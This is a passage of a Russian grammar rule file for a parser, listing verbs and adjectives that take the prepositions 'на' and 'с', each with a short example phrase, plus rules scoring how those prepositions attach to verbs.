rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
